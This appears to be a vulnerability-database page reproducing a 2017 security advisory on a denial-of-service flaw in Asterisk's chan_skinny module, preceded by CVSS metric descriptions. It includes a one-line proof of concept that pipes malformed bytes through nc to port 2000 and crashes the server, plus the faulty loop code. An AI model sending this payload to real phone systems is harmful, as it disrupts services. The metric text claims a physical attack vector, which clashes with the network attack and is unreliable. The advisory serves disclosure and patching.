The attack requires the attacker to physically touch or manipulate the vulnerable system. Physical interaction may be brief (e.g., evil maid attack1) or persistent. An example of such an attack is a cold boot attack in which an attacker gains access to disk encryption keys after physically accessing the target system. Other examples include peripheral attacks via FireWire/USB Direct Memory Access (DMA).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Asterisk 14.4.0 Skinny Denial Of Service# Asterisk Skinny memory exhaustion vulnerability leads to DoS
- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled
- References: AST-2017-004
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-03-asterisk-chan-skinny-crash>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-004.html>
- Timeline:
- Report date: 2017-04-13
- Digium confirmed issue: 2017-04-13
- Digium patch and advisory: 2017-05-19
- Enable Security advisory: 2017-05-23
## Description
Sending one malformed Skinny message to port 2000 will exhaust
Asterisk's memory resulting in a crash.
## Impact
Abuse of this issue allows attackers to crash Asterisk when Skinny is
exposed to attackers.
## How to reproduce the issue
Start Asterisk and make sure the `chan_skinny` module is loaded. Then
execute:
printf
"\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39"
| nc localhost 2000
After a few seconds Asterisk will crash since it will be using all of
the available memory. Different malformed strings will crash the server
faster or slower depending on the amount by which `req->data` is
extended.
The malformed message will throw the following errors in Asterisk:
[Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587
skinny_session: Partial data received, waiting (35 bytes read of
52)
while it will loop forever. This is due to the following code:
```c
while (1) {
if ((res = read(s->fd, ((char*)&req->data)+bytesread, dlen-bytesread)) < 0) {
ast_log(LOG_WARNING, "Data read() returned error: %s\n",
strerror(errno));
break;
}
bytesread += res;
if (bytesread >= dlen) {
if (res < bytesread) {
ast_log(LOG_WARNING, "Rest of partial data
received.\n");
}
if (bytesread > dlen) {
ast_log(LOG_WARNING, "Client sent wrong amount
of data (%d), expected (%d).\n", bytesread,
dlen);
res = -1;
}
break;
}
ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes read of %d)\n", bytesread, dlen);
if (sched_yield() < 0) {
ast_log(LOG_WARNING, "Data yield() returned error:
%s\n", strerror(errno));
res = -1;
break;
}
}
```
The reason appears to be that `res` always returns 0 so `bytesread` will
not grow and the loop never breaks. However `req->data` will continue to
expand until all the memory is exhausted.
This issue was found through basic manual testing, before attempting to start fuzzing `chan_skinny`.
![Memory usage while Asterisk receives a malformed skinny message](mem-graph.png)
## Solutions and recommendations
Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4. Enable Security highly recommends disabling this module.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) provides Information
Security services, including Penetration Testing, Research and
Development, to help protect client networks and applications against
online attackers.
## Disclaimer
The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.